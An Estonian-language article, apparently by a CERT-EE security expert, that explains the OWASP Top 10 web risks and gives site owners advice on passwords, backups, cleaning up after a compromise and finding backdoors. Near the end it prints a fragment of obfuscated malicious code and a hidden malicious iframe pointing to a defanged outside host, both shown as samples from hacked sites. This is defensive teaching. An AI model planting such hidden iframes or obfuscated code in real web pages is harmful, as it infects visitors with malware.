OWASP – ega ometi o-herilane?

Näide ühe .ee veebilehe näotustamiseks kasutatud pildist

CERT-EE infoturbe ekspert Triin Nigul tuletab veebilehtede arendajatele, haldajatele ja omanikele meelde, et veebide turvalisuse tõstmiseks pole vaja jalgratast leiutada.

Viimasel ajal meedias ohtralt kajastust leidnud andmelekete valguses on õige aeg kõnelda internetiturvalisusest veidi teise nurga alt kui tavalise arvutikasutaja vaatevinklist. Peaasjalikult räägin siin kirjutises veebilehtede turvalisusest. Nagu paljudes teisteski valdkondades, ei ole siingi põhjust hakata jalgratast leiutama. OWASP (Open Web Application Security Project) peaks olema tuntud igale (veebi)arendajale ja -haldajale, sest tegemist on üleilmselt tuntud ja tunnustatud (mittetulundusliku) organisatsiooniga. Teiste kiiduväärt, tarkvara turvalisust edendavate tegevuste seas peab OWASP nimekirja veebirakenduste kasutamisega seotud kümnest suuremast turvaohust. Alljärgnevalt lähemalt.

A1 – Süstimisrünne (ka süst, Injection)
Süstimisnõrkused (nt SQL injection) esinevad, kui käsku või päringut on võimalik pahaloomuliselt täiendada. Ründaja lisatud sisu võib sundida käivitama soovimatuid käske või võimaldada volitamata ligipääsu andmetele.

A2 – Autentimis- ja sessioonihalduse vead (Broken Authentication and Session Management)
Autentimis- ja sessioonihaldus ei ole sageli korralikult rakendatud, võimaldades ründajatel näpata salasõnu, võtmeid või sessioonitunnuseid, või rakendusvigu konfidentsiaalsete andmete teadasaamiseks ära kasutada.

A3 – Murdskriptimine (Cross-Site Scripting – XSS)
XSS vead esinevad juhul, kui rakendus kuvab veebilehitsejas infot ilma korraliku valideerimise või tagasilükkamiseta. XSS vead lasevad ründajatel ohvri veebilehitsejas käivitada skripte, mis võimaldavad kasutajasessioone üle võtta, veebilehti näotustada või kasutaja pahaloomulisele veebilehele ümber suunata.

A4 – Objektide ebaturvaline otseviitamine (Insecure Direct Object References)
Objekti otseviitamine esineb, kui arendaja jätab avalikuks viite mõnele sisemisele rakendusdokumendile, nagu fail, kaust või andmebaasi võti. Ilma ligipääsukontrolli või muu tõkketa võivad ründajad neid viiteid töödeldes andmetele volitamata ligi pääseda.

A5 – Vigased turvaseaded (Security Misconfiguration)
Heatasemeline turvalisus nõuab turvalise seadistuse määratlemist, paigaldamist ja haldamist nii rakenduses, raamistikus, platvormis, rakendus-, veebi- ja andmebaasiserveris. Vaikimisi seaded on tihti ebaturvalised.
Veebisaitidel kasutatakse mitmesugust esitlus- jm tarkvara. Kui tarkvara on kehvasti seadistatud või uuendamata, võib süsteemile ligi saada turvaauke ära kasutades. Tarkvara pidev uuendamine on kohustuslik.

A6 – Tundliku info kaitseta jätmine (Sensitive Data Exposure)
Paljud veebirakendused ei kaitse tundlikku infot, nagu krediitkaardi- ja autentimisandmeid, piisavalt. Ründajad võivad kehvasti kaitstud andmeid omastades toime panna krediitkaardipettusi, identiteedivargusi või teisi kuritegusid. Tundlikud andmed nõuavad erilist kaitset, näiteks krüptimist andmete säilitamisel või edastamisel, ning erimeetmeid andmevahetusel veebilehitsejas.

A7 – Puuduv pääsukontroll funktsionaalsuse tasemel (Missing Function Level Access Control)
Paljud veebirakendused kontrollivad enne funktsionaalsuse näitamist veebilehitsejas ligipääsuõigusi. Siiski tuleks samasugune kontroll teha ka serveris. Kui pöördumisi ei kontrollita, võivad ründajad neid võltsides funktsionaalsusele volitamata ligi pääseda.

A8 – Päringu murdvõltsimine (Cross-Site Request Forgery – CSRF)
CSRF rünne sunnib sisseloginud ohvri veebilehitsejat auklikule veebirakendusele võltsitud http-päringut saatma, liites sellele ohvri sessiooniküpsise ja muu automaatselt lisatava autentimisinfo. See lubab ründajal ohvri veebilehitsejas luua päringuid, mille haavatav rakendus õigeks tunnistab.

A9 – Teadaolevalt auklike komponentide kasutamine (Using Components with Known Vulnerabilities)
Tarkvarakomponendid, nagu teegid ja raamistikud, vajavad töötamiseks täisõigusi. Auklikku komponenti ära kasutades võib rünne lõppeda tõsise andmekao või serveri ülevõtmisega. Rakendused, kus kasutatakse auklikke komponente, võivad nõrgendada rakenduse kaitsemeetmeid ja võimaldada erinevaid ründeid.

A10 – Kontrollimata ümbersuunamised ja edastamised (Unvalidated Redirects and Forwards)
Veebirakendused suunavad kasutajaid tihti teistele lehtedele või veebisaitidele, ning kasutavad kontrollimata infot sihtlehtede kindlaksmääramiseks. Ilma korraliku kontrollita võivad ründajad suunata ohvrid õngitsus- või pahavarasaitidele, või kasutada edastamisi volitamata ligipääsuks. Viimasel juhul on haäkitud saidi põhifunktsioon heausksed külastajad pahaloomulistele veebisaitidele läkitada.

Mida tasuks veebihalduse puhul veel tähele panna:

Kasutajatunnuste ja salasõnade turvasoovitused kehtivad ka administraatoritele:

  • Salasõnast on kasu, kui see on pikk, mitmekesine ja kordumatu.
  • Hästi jääb meelde mõnest fraasist tuletatud parool.
  • Salasõnade rist- või ühiskasutus on kurjast.
  • Vajadusel tuleks kasutada mõnda paroolide hoidmise tarkvahendit.

Enamik ründajatest proovib standardse “admin” kasutajatunnuse järele jõurünnet (brute force’i) ehk salasõna või krüptovõtme mõistatamist kõigi (sõnastikus leiduvate) variantide läbiproovimise teel.

Kui veebilehe administraatori arvutis pesitseb pahavara, mis kuulub klahvikuulaja (keylogger) või mõnda muud sorti salasõnanäppajate hulka, pole ka tugevast salasõnast kasu – kogu sisestatav info võidakse üles korjata ja pahalastele edastada. Haldusarvutisse peab olema installitud viirusetõrje, mida tuleb hoida ajakohasena.

Mis puudutab veebilehe kasutajate salasõnade hoidmist, siis kui aabitsatõde “paroole ei hoita lahtise tekstina” on juba kenasti rakendatud, võiks salasõnade räsidele lisada pisut “soola” (nt numbreid), ning tulemused omakorda krüpteerida.

Veebiserver ei pea käima administraatori õigustes. Miks? Sellest oleneb, missugused õigused saab ründaja pärast õnnestunud tegu.

Enamik saite saavad pihta automaatsete tööriistade abil – iga saidi jaoks ei jagu käsitöölisest häkkerit. Ründajad korduvkasutavad avalikult kättesaadavaid, isegi aastatevanuseid haavatavusi. Häkitud veebilehed on tavaliselt vigased rohkem kui ühel viisil. Mitte midagi head ei tõota näiteks kombinatsioon kehvasti konfitud süsteemist, mida pole alates paigaldamisest uuendatud, nigelatest salasõnadest ning säästumajutusteenusest. Ei maksa eeldada, et turvalisuse eest vastutab vaid veebimajutaja, eriti kui veebilehe omanik installib ise sisuhaldustarkvara nagu WordPress, Joomla!, Drupal või ka juhul, kui see on veebimajutaja paigaldatud. Samas – kui veebisaiti hallatakse järjepidevalt ja vastutustundlikult, ei peaks saidiomanik ülearu muretsema. Kui veebilehe turbe haldus käib ikkagi üle jõu, tuleks sõlmida leping vastava teenusepakkujaga. Ootamatute ebameeldivuste tarbeks tasub värske varukoopia (varundada vähemalt 1 x kuus) siiski käepärast hoida.

Sissemurdmiskahtluse korral leiab internetist mitmeid tööriistu, mida veebilehe kiirtestimiseks kasutada:
http://urlquery.net
http://sitecheck.sucuri.net/
http://wepawet.iseclab.org/
http://ddecode.com/phpdecoder/
https://www.virustotal.com/et/#url
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=ria.ee
(domeeninimi asendada sobivaga)

NB! Viidatud tööriistad sobivad vaid kahtlusele kinnituse saamiseks ning info kiireks hankimiseks, mitte info ümberlükkamiseks. Teiseks, häkkerite lisatud koodirea või alamlehe kustutamisest tavaliselt ei piisa probleemi lahendamiseks. Vastasel juhul kuritarvitatakse saiti õige pea uuesti ja kurjemini. Kui saidiomanik ei halda oma veebisaiti ise, tuleb probleemist kohe teavitada veebihaldurit. Vajalikuks võib osutuda veebilehe ajutine mahavõtmine internetist. Probleemi taaskordumise vältimiseks tuleb kontrollida, ega kuhugi pole loodud tagaust ning uuendada veebiserveri, sisuhaldus- ja esitlustarkvara. Vahetada tuleb saidi haldamiseks kastutavad paroolid ning viirusetõrjega üle kontrollida haldamiseks kasutatavad arvutid.

Tavaliselt on nn tagauks mahult väike ning peidetud lõdvemate kasutajaõigustega jaotistesse nagu /images. Tagaukse ülesleidmisel ja äratundmisel võib abiks olla süvenemine failinimedesse- ja asukohta, failide muutmise kuupäevadesse, ligipääsuõigustesse ning sisusse. Ja nagu infoturbeintsidentide puhul ikka, ei saa üle ega ümber logide analüüsist.

Sisuhaldustarkvara häki puhul istutatakse pahakood tavaliselt kas veebilehe algusesse või lõppu, kuid see pole reegel. Iframe on mõne dokumendi või teise veebilehe sisu kuvamist võimaldav „raam“ veebilehe sees – pahatahtlust võib iframe puhul tavaliselt näidata kirjeldus „hidden“, see on aga koodist otse välja loetav vaid siis, kui pole kasutatud obfuskeerimist. Tükike sogastatud koodist:
7:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:

Näide pahaloomulisest iframe’ist veebilehe lõpus:
</html><iframe src=”hXXp://www.rachedsarkis.com/counter.php” style=”visibility: hidden; position: absolute; left: 0px; top: 0px” width=”10″ height=”10″/>

Rämpspost on kõigile tuttav nähtus, kuid paljud ei tea, et näiteks (võlts)ravimimüük käib ka veebisaitide kaudu. Kui saidiomanikule salaäri jääbki nähtamatuks, leiavad selle üles otsimootorid. Isegi kui rämpsposti saatmine veebisaiti üle ei koorma, tekib oht, et sait lisatakse Google’i või mõne teise otsimootori musta nimekirja, mis pahavaraga nakatunud saidi puhul juhtub niikuinii varem või hiljem.

Nõu ja abi saab näiteks:
https://www.stopbadware.org/webmaster-help
http://blog.aw-snap.info/

Google’i juhend juhuks, kui sait peaks sattuma Google’i musta nimekirja:
https://support.google.com/webmasters/answer/163633? hl=en&topic=2365140&ctx=topic

Google’i musta nimekirja sattumise puhuks peaks sait olema n-ö omaks tunnistatud, selleks tuleb läbida protsess, mis on kirjeldatud aadressil
https://support.google.com/webmasters/answer/34592.

1 thought on “OWASP – ega ometi o-herilane?

Comments are closed.